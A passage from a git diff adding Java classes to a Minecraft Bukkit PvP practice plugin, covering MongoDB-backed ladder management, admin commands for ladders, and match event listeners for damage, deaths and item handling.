+ load(); + } + + public void load() { + Document document = (Document) Practice.getPlugin().getLaddersCollection().find(Filters.eq("name", name)).first(); + + if (document == null) return; + + name = document.getString("name"); + icon = document.getString("icon"); + defaultInventory = document.getString("defaultInventory"); + regainHealth = document.getBoolean("regainHealth"); + ranked = document.getBoolean("ranked"); + position = document.getInteger("position"); + } + + public void save() { + Document document = new Document("_id", name); + + document.put("name", name); + document.put("icon", icon); + document.put("defaultInventory", defaultInventory); + document.put("regainHealth", regainHealth); + document.put("ranked", ranked); + document.put("position", position); + + Bson filter = Filters.eq("name", name); + FindIterable iterable = Practice.getPlugin().getLaddersCollection().find(filter); + + if (iterable.first() == null) { + Practice.getPlugin().getLaddersCollection().insertOne(document); + } else { + Practice.getPlugin().getLaddersCollection().replaceOne(filter, document); + } + + check(); + } + + public void remove() { + Document document = (Document) Practice.getPlugin().getLaddersCollection().find(Filters.eq("name", name)).first(); + + if (document == null) return; + + Practice.getPlugin().getLaddersCollection().deleteOne(document); + } + + public boolean isUsable() { + return name != null && defaultInventory != null; + } + + public void check() { + Practice.getPlugin().getLadderManager().getLadders().put(name, this); + + for (IQueue queue : Practice.getPlugin().getQueueManager().getQueues().values()) { + if (queue.getLadder() == this) { + return; + } + } + + if (!isUsable()) return; + + if (isRanked()) { + SoloQueue rankedQueue = new SoloQueue(this, true); + Practice.getPlugin().getQueueManager().getQueues().put(rankedQueue.getIdentifier(), rankedQueue); + + SoloQueue unrankedQueue = new SoloQueue(this, false); + Practice.getPlugin().getQueueManager().getQueues().put(unrankedQueue.getIdentifier(), unrankedQueue); + } else { + SoloQueue unrankedQueue = new SoloQueue(this, false); + Practice.getPlugin().getQueueManager().getQueues().put(unrankedQueue.getIdentifier(), unrankedQueue); + } + } +} diff --git a/Practice/src/main/java/me/redis/practice/ladders/LadderManager.java b/Practice/src/main/java/me/redis/practice/ladders/LadderManager.java new file mode 100644 index 0000000..c5fea8d --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/LadderManager.java @@ -0,0 +1,34 @@ +package me.redis.practice.ladders; + +import com.mongodb.client.model.Filters; +import lombok.Getter; +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import org.bson.Document; +import org.bson.conversions.Bson; + +import java.util.*; + +import static com.mongodb.client.model.Sorts.descending; + +public class LadderManager { + @Getter private Map ladders = new LinkedHashMap<>(); + + public Ladder getLadder(String name) { + return ladders.get(name); + } + + public List getLaddersFromDatabase() { + List laddersNoCache = new ArrayList<>(); + + for (Object object : Practice.getPlugin().getLaddersCollection().find()) { + Document document = (Document) object; + + if (document != null) { + laddersNoCache.add(new Ladder(document.getString("name"))); + } + } + + return laddersNoCache; + } +} diff --git a/Practice/src/main/java/me/redis/practice/ladders/commands/LadderCommand.java b/Practice/src/main/java/me/redis/practice/ladders/commands/LadderCommand.java new file mode 100644 index 0000000..37caea9 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/commands/LadderCommand.java @@ -0,0 +1,18 @@ +package me.redis.practice.ladders.commands; + +import me.redis.practice.ladders.commands.arguments.*; +import me.redis.practice.utils.command.ExecutableCommand; + +public class LadderCommand extends ExecutableCommand { + public LadderCommand() { + super("ladder"); + + addArgument(new CreateLadderArgument()); + addArgument(new DeleteLadderArgument()); + addArgument(new SetLadderIconArgument()); + addArgument(new SetLadderInventoryArgument()); + addArgument(new ListLadderArgument()); + addArgument(new SetRankedLadderArgument()); + addArgument(new SetLadderPositionArgument()); + } +} diff --git a/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/CreateLadderArgument.java b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/CreateLadderArgument.java new file mode 100644 index 0000000..e523a4c --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/CreateLadderArgument.java @@ -0,0 +1,48 @@ +package me.redis.practice.ladders.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class CreateLadderArgument extends CommandArgument { + public CreateLadderArgument() { + super("create"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + String name = args[1]; + + for (Ladder ladder : Practice.getPlugin().getLadderManager().getLadders().values()) { + if (ladder.getName().equalsIgnoreCase(name)) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + name + "&c' already exists in the database.")); + return true; + } + } + + Ladder ladder = new Ladder(name); + ladder.save(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + name + "&c' has been successfully created.")); + } + return false; + } +} diff --git a/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/DeleteLadderArgument.java b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/DeleteLadderArgument.java new file mode 100644 index 0000000..b895a5f --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/DeleteLadderArgument.java @@ -0,0 +1,47 @@ +package me.redis.practice.ladders.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class DeleteLadderArgument extends CommandArgument { + public DeleteLadderArgument() { + super("delete"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Ladder ladder = Practice.getPlugin().getLadderManager().getLadder(args[1]); + + if (ladder == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + Practice.getPlugin().getLadderManager().getLadders().remove(ladder.getName()); + ladder.remove(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' has been successfully deleted.")); + } + + return true; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/ListLadderArgument.java b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/ListLadderArgument.java new file mode 100644 index 0000000..4b9ce2f --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/ListLadderArgument.java @@ -0,0 +1,65 @@ +package me.redis.practice.ladders.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.utils.ItemBuilder; +import me.redis.practice.utils.SerializationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; + +public class ListLadderArgument extends CommandArgument implements Listener { + public ListLadderArgument() { + super("list"); + + Bukkit.getPluginManager().registerEvents(this, Practice.getPlugin()); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName(); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Inventory inventory = Bukkit.createInventory(null, 9, "Ladders"); + + for (Ladder ladder : Practice.getPlugin().getLadderManager().getLadders().values()) { + ItemStack item = SerializationUtils.itemStackFromString(ladder.getIcon()); + + inventory.addItem(new ItemBuilder(item).setDisplayName("&a" + ladder.getName()).create()); + } + + ((Player) sender).openInventory(inventory); + } + + return true; + } + + @EventHandler + public void onClick(InventoryClickEvent event) { + if (event.getClickedInventory() != null && event.getCurrentItem() != null) { + if (event.getClickedInventory().getName() != null && event.getClickedInventory().getName().equalsIgnoreCase("Ladders")) { + if (event.getCurrentItem().getItemMeta() != null && event.getCurrentItem().getItemMeta().getDisplayName() != null) { + Ladder ladder = Practice.getPlugin().getLadderManager().getLadder(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getDisplayName())); + + if (ladder != null) { + SerializationUtils.playerInventoryFromString(ladder.getDefaultInventory(), (Player) event.getWhoClicked()); + event.getWhoClicked().closeInventory(); + } + + event.setCancelled(true); + } + } + } + } +} diff --git a/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetLadderIconArgument.java b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetLadderIconArgument.java new file mode 100644 index 0000000..4a16979 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetLadderIconArgument.java @@ -0,0 +1,48 @@ +package me.redis.practice.ladders.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.utils.SerializationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetLadderIconArgument extends CommandArgument { + public SetLadderIconArgument() { + super("seticon"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Ladder ladder = Practice.getPlugin().getLadderManager().getLadder(args[1]); + + if (ladder == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + ladder.setIcon(SerializationUtils.itemStackToString(player.getItemInHand())); + ladder.save(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYour held item is now " + ladder.getName() + "'s icon.")); + } + + return true; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetLadderInventoryArgument.java b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetLadderInventoryArgument.java new file mode 100644 index 0000000..585eb81 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetLadderInventoryArgument.java @@ -0,0 +1,48 @@ +package me.redis.practice.ladders.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.utils.SerializationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetLadderInventoryArgument extends CommandArgument { + public SetLadderInventoryArgument() { + super("setinventory"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Ladder ladder = Practice.getPlugin().getLadderManager().getLadder(args[1]); + + if (ladder == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + ladder.setDefaultInventory(SerializationUtils.playerInventoryToString(player.getInventory())); + ladder.save(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYour inventory is now " + ladder.getName() + "'s default inventory.")); + } + + return true; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetLadderPositionArgument.java b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetLadderPositionArgument.java new file mode 100644 index 0000000..bf751d4 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetLadderPositionArgument.java @@ -0,0 +1,60 @@ +package me.redis.practice.ladders.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.utils.BukkitUtils; +import me.redis.practice.utils.JavaUtils; +import me.redis.practice.utils.SerializationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetLadderPositionArgument extends CommandArgument { + public SetLadderPositionArgument() { + super("setposition"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 3) { + player.sendMessage(getUsage(label)); + return true; + } + + Ladder ladder = Practice.getPlugin().getLadderManager().getLadder(args[1]); + + if (ladder == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + if (!JavaUtils.isInteger(args[2])) { + player.sendMessage(ChatColor.RED + "You need to specify a valid number."); + return true; + } + + for (Ladder ladders : Practice.getPlugin().getLadderManager().getLadders().values()) { + if (ladders.getPosition() == Integer.parseInt(args[2])) { + player.sendMessage(ChatColor.RED + "There's already a ladder with that position."); + return true; + } + } + + ladder.setPosition(Integer.parseInt(args[2])); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c" + ladder.getName() + "'s position is now " + args[2] + ".")); + ladder.save(); + } + return true; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetRankedLadderArgument.java b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetRankedLadderArgument.java new file mode 100644 index 0000000..0391333 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/commands/arguments/SetRankedLadderArgument.java @@ -0,0 +1,53 @@ +package me.redis.practice.ladders.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetRankedLadderArgument extends CommandArgument { + public SetRankedLadderArgument() { + super("ranked"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Ladder ladder = Practice.getPlugin().getLadderManager().getLadder(args[1]); + + if (ladder == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + if (ladder.isRanked()) { + ladder.setRanked(false); + ladder.save(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c" + ladder.getName() + " is now unranked.")); + } else { + ladder.setRanked(true); + ladder.save(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c" + ladder.getName() + " is now ranked.")); + } + } + + return true; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/listeners/CommandListener.java b/Practice/src/main/java/me/redis/practice/listeners/CommandListener.java new file mode 100644 index 0000000..df1c4e9 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/listeners/CommandListener.java @@ -0,0 +1,24 @@ +package me.redis.practice.listeners; + +import org.bukkit.ChatColor; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.player.PlayerCommandPreprocessEvent; + +public class CommandListener implements Listener { + + @EventHandler + public void onCommand(PlayerCommandPreprocessEvent event) { + if (event.getMessage().startsWith("/")) { + String command = event.getMessage(); + + if (command.equalsIgnoreCase("/day")) { + event.getPlayer().setPlayerTime(6000, false); + event.getPlayer().sendMessage(ChatColor.GREEN + "Your time is now day!"); + } else if (command.equalsIgnoreCase("/night")) { + event.getPlayer().setPlayerTime(18000, false); + event.getPlayer().sendMessage(ChatColor.GREEN + "Your time is now night!"); + } + } + } +} diff --git a/Practice/src/main/java/me/redis/practice/listeners/ListenerRegisterer.java b/Practice/src/main/java/me/redis/practice/listeners/ListenerRegisterer.java new file mode 100644 index 0000000..7246fc8 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/listeners/ListenerRegisterer.java @@ -0,0 +1,18 @@ +package me.redis.practice.listeners; + +import me.redis.practice.Practice; +import me.redis.practice.queue.QueueListener; +import me.redis.practice.team.listeners.TeamListener; +import org.bukkit.Bukkit; + +public class ListenerRegisterer { + public ListenerRegisterer() { + Bukkit.getPluginManager().registerEvents(new CommandListener(), Practice.getPlugin()); + Bukkit.getPluginManager().registerEvents(new WorldListener(), Practice.getPlugin()); + Bukkit.getPluginManager().registerEvents(new PlayerListeners(), Practice.getPlugin()); + Bukkit.getPluginManager().registerEvents(new MenuListener(), Practice.getPlugin()); + Bukkit.getPluginManager().registerEvents(new MatchListener(), Practice.getPlugin()); + Bukkit.getPluginManager().registerEvents(new QueueListener(), Practice.getPlugin()); + Bukkit.getPluginManager().registerEvents(new TeamListener(), Practice.getPlugin()); + } +} diff --git a/Practice/src/main/java/me/redis/practice/listeners/MatchListener.java b/Practice/src/main/java/me/redis/practice/listeners/MatchListener.java new file mode 100644 index 0000000..caecc76 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/listeners/MatchListener.java @@ -0,0 +1,387 @@ +package me.redis.practice.listeners; + +import me.redis.practice.Practice; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.match.IMatch; +import me.redis.practice.enums.MatchStatus; +import me.redis.practice.match.type.FreeForAllMatch; +import me.redis.practice.match.type.SoloMatch; +import me.redis.practice.profile.Profile; +import org.apache.commons.lang.SerializationUtils; +import org.apache.commons.lang.StringEscapeUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.*; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.entity.*; +import org.bukkit.event.player.*; +import org.bukkit.inventory.ItemStack; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.scheduler.BukkitRunnable; + +import java.text.DecimalFormat; +import java.text.NumberFormat; + +public class MatchListener implements Listener { + @EventHandler + public void onHunger(FoodLevelChangeEvent event) { + if (event.getEntity() instanceof Player) { + Player player = (Player) event.getEntity(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() == ProfileStatus.MATCH) { + IMatch match = profile.getCurrentMatch(); + + if (match.getStartTimestamp() == null) { + event.setCancelled(true); + return; + } + + if (System.currentTimeMillis() - match.getStartTimestamp().getTime() < 30000) { + event.setCancelled(true); + } + } + } + } + + @EventHandler + public void onDeath(PlayerDeathEvent event) { + Player player = event.getEntity(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + player.spigot().respawn(); + + IMatch match = profile.getCurrentMatch(); + match.handleDeath(player, player.getLocation(), ChatColor.YELLOW + player.getName() + " has died."); + + event.setDeathMessage(null); + player.setHealth(20.0); + + for (ItemStack i : event.getDrops()) { + i.setType(Material.AIR); + } + } + + @EventHandler + public void onThrow(ProjectileLaunchEvent event) { + if (!(event.getEntity().getShooter() instanceof Player)) { + return; + } + + Player player = (Player) event.getEntity().getShooter(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + Projectile entity = event.getEntity(); + IMatch match = profile.getCurrentMatch(); + + for (Player p : Bukkit.getOnlinePlayers()) { + if (match.getPlayers().contains(p)) { + continue; + } + + if (match.getSpectators().contains(p.getUniqueId())) { + continue; + } + + Practice.getPlugin().getEntityHider().hideEntity(p, entity); + } + } + + @EventHandler + public void onSplash(PotionSplashEvent event) { + if (!(event.getEntity().getShooter() instanceof Player)) { + return; + } + + Player player = (Player) event.getEntity().getShooter(); + + if (event.getIntensity(player) < 0.4) { + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getCurrentMatch() != null) { + if (profile.getCurrentMatch() instanceof FreeForAllMatch) { + FreeForAllMatch freeForAllMatch = (FreeForAllMatch) profile.getCurrentMatch(); + + freeForAllMatch.getMissedPotions().put(player, freeForAllMatch.getMissedPotions().get(player) + 1); + } else if (profile.getCurrentMatch() instanceof SoloMatch) { + SoloMatch soloMatch = (SoloMatch) profile.getCurrentMatch(); + + soloMatch.getMissedPotions().put(player, soloMatch.getMissedPotions().get(player) + 1); + } + } + } + } + + @EventHandler + public void regainHealth(EntityRegainHealthEvent event) { + if (event.getEntity() instanceof Player) { + Player player = (Player) event.getEntity(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + + if (profile.getCurrentMatch() != null && profile.getCurrentMatch().getLadder().getName().equalsIgnoreCase("UHC")) { + if (event.getRegainReason() == EntityRegainHealthEvent.RegainReason.SATIATED) event.setCancelled(true); + if (event.getRegainReason() == EntityRegainHealthEvent.RegainReason.REGEN) event.setCancelled(true); + } + } + } + + @EventHandler + public void onDrop(PlayerDropItemEvent event) { + Player player = event.getPlayer(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + IMatch match = profile.getCurrentMatch(); + + if (event.getItemDrop().getItemStack().getType().equals(Material.DIAMOND_SWORD)) { + event.setCancelled(true); + return; + } else if (event.getItemDrop().getItemStack().getType().equals(Material.GLASS_BOTTLE)) { + event.getItemDrop().remove(); + return; + } else if (event.getItemDrop().getItemStack().getType().equals(Material.ENCHANTED_BOOK)) { + event.setCancelled(true); + return; + } + + for (Player p : Bukkit.getOnlinePlayers()) { + if (match.getPlayers().contains(p)) { + continue; + } + + if (match.getSpectators().contains(p.getUniqueId())) { + continue; + } + + Practice.getPlugin().getEntityHider().hideEntity(p, event.getItemDrop()); + } + + new BukkitRunnable() { + public void run() { + if (event.getItemDrop() != null) { + event.getItemDrop().remove(); + } + } + }.runTaskLater(Practice.getPlugin(), 20L * 6); + } + + @EventHandler + public void onDamage(EntityDamageEvent event) { + if (!(event.getEntity() instanceof Player)) { + return; + } + + Player player = (Player) event.getEntity(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + if (profile.getCurrentMatch().getMatchStatus() == MatchStatus.STARTING) { + event.setCancelled(true); + } + } + + @EventHandler + public void onDamageByEntity(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) { + return; + } + + Player player = (Player) event.getEntity(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + IMatch match = profile.getCurrentMatch(); + + if (match.getMatchStatus() == MatchStatus.STARTING) { + event.setCancelled(true); + return; + } + + if (event.getDamager() instanceof Player) { + Player damager = (Player) event.getDamager(); + Profile damagerProfile = Practice.getPlugin().getProfileManager().getProfile(damager.getUniqueId()); + + if (damagerProfile.getStatus() != ProfileStatus.MATCH) { + event.setCancelled(true); + return; + } + + if (match.isDead(damager)) { + event.setCancelled(true); + return; + } + + if (match.getTeam(player).contains(damager)) { + event.setCancelled(true); + return; + } + + if (player.getHealth() - event.getFinalDamage() <= 0.0) { + player.setHealth(20); + match.handleDeath(player, player.getLocation(), ChatColor.RED + player.getName() + ChatColor.YELLOW + " has been slain by " + ChatColor.RED + damager.getName() + ChatColor.YELLOW + "."); + } + } else if (event.getDamager() instanceof Arrow) { + Arrow arrow = (Arrow) event.getDamager(); + + if (arrow.getShooter() instanceof Player) { + Player damager = (Player) arrow.getShooter(); + + double healthDisplay; + + if (player.getHealth() - event.getFinalDamage() <= 0.0) { + healthDisplay = 0.0; + } else { + healthDisplay = (player.getHealth() - event.getFinalDamage()) / 2.0; + } + + NumberFormat formatter = new DecimalFormat("#0.0"); + String newFormat = formatter.format(healthDisplay); + damager.sendMessage(ChatColor.RED + player.getName() + ChatColor.YELLOW + " is now at " + ChatColor.RED + newFormat + ChatColor.DARK_RED + " " + StringEscapeUtils.unescapeJava("\u2764")); + + if (player.getHealth() - event.getFinalDamage() <= 0.0) { + player.setHealth(20); + match.handleDeath(player, player.getLocation(), ChatColor.RED + player.getName() + ChatColor.YELLOW + " has been shot by " + ChatColor.RED + damager.getName() + ChatColor.YELLOW + "."); + } + } + } + + if (player.getHealth() - event.getFinalDamage() <= 0.0) { + match.handleDeath(player, player.getLocation(), ChatColor.RED + player.getName() + ChatColor.YELLOW + " has died."); + } + } + + @EventHandler + public void onEat(PlayerItemConsumeEvent event) { + Player player = event.getPlayer(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + if (!event.getItem().getItemMeta().hasDisplayName()) { + return; + } + + if (event.getItem().getItemMeta().getDisplayName().equals(ChatColor.GOLD + ChatColor.BOLD.toString() + "Golden Head")) { + player.addPotionEffect(new PotionEffect(PotionEffectType.ABSORPTION, 240, 0)); + player.addPotionEffect(new PotionEffect(PotionEffectType.REGENERATION, 100, 2)); + } + } + + @EventHandler + public void onRegen(EntityRegainHealthEvent event) { + if (!(event.getEntity() instanceof Player)) { + return; + } + + Player player = (Player) event.getEntity(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + if (!profile.getCurrentMatch().getLadder().isRegainHealth()) { + if (event.getRegainReason() == EntityRegainHealthEvent.RegainReason.SATIATED) event.setCancelled(true); + if (event.getRegainReason() == EntityRegainHealthEvent.RegainReason.REGEN) event.setCancelled(true); + } + } + + @EventHandler(priority = EventPriority.HIGHEST) + public void onQuit(PlayerQuitEvent event) { + Player player = event.getPlayer(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + IMatch match = profile.getCurrentMatch(); + match.handleDeath(player, null, ChatColor.RED + player.getName() + ChatColor.YELLOW + " has left the match."); + } + + @EventHandler(priority = EventPriority.HIGHEST) + public void onKick(PlayerKickEvent event) { + Player player = event.getPlayer(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + IMatch match = profile.getCurrentMatch(); + match.handleDeath(player, null, ChatColor.RED + player.getName() + ChatColor.YELLOW + " has left the match."); + } + + + @EventHandler + public void onInteract(PlayerInteractEvent event) { + Player player = event.getPlayer(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + + if (event.getItem() == null) { + return; + } + + if (profile.getStatus() != ProfileStatus.MATCH) { + return; + } + + if (event.getAction() != Action.RIGHT_CLICK_AIR && event.getAction() != Action.RIGHT_CLICK_BLOCK) { + return; + } + + if (!event.getItem().getType().equals(Material.ENCHANTED_BOOK)) { + return; + } + + if (ChatColor.stripColor(event.getItem().getItemMeta().getDisplayName()).startsWith("Custom")) { + Integer kitNumber = Integer.valueOf(event.getItem().getItemMeta().getDisplayName().replace("#", "").split(" ")[3]); + + me.redis.practice.utils.SerializationUtils.playerInventoryFromString(profile.getKitByLadderAndNumber(profile.getCurrentMatch().getLadder(), kitNumber).getInventory(), player); + player.updateInventory(); + } else if (ChatColor.stripColor(event.getItem().getItemMeta().getDisplayName()).startsWith("Default")) { + me.redis.practice.utils.SerializationUtils.playerInventoryFromString(profile.getCurrentMatch().getLadder().getDefaultInventory(), player); + } + } + + @EventHandler + public void onMoveEvent(PlayerMoveEvent event) { + Player player = event.getPlayer(); + + if (event.getTo().getX() != event.getFrom().getX() && event.getTo().getZ() != event.getFrom().getZ()) { + if (Practice.getPlugin().getProfileManager().getProfile(player).getCurrentMatch() != null) { + IMatch match = Practice.getPlugin().getProfileManager().getProfile(player).getCurrentMatch(); + + if (match.getLadder().getName().toLowerCase().equalsIgnoreCase("sumo")) { + if (player.getLocation().getBlock().getType() == Material.WATER || player.getLocation().getBlock().getType() == Material.STATIONARY_WATER) { + match.handleDeath(player, player.getLocation(), ChatColor.RED + player.getName() + ChatColor.YELLOW + " has died."); + } + } + } + } + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/listeners/MenuListener.java b/Practice/src/main/java/me/redis/practice/listeners/MenuListener.java new file mode 100644 index 0000000..8d5ec2a --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/listeners/MenuListener.java @@ -0,0 +1,192 @@ +package me.redis.practice.listeners; + +import me.redis.practice.Practice; +import me.redis.practice.duel.DuelRequest; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.profile.Profile; +import me.redis.practice.queue.IQueue; +import me.redis.practice.events.PlayerEnterQueueEvent; +import me.redis.practice.utils.HiddenStringUtil; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.*; + +public class MenuListener implements Listener { + + public static Map selectedPlayer = new HashMap<>(); + + 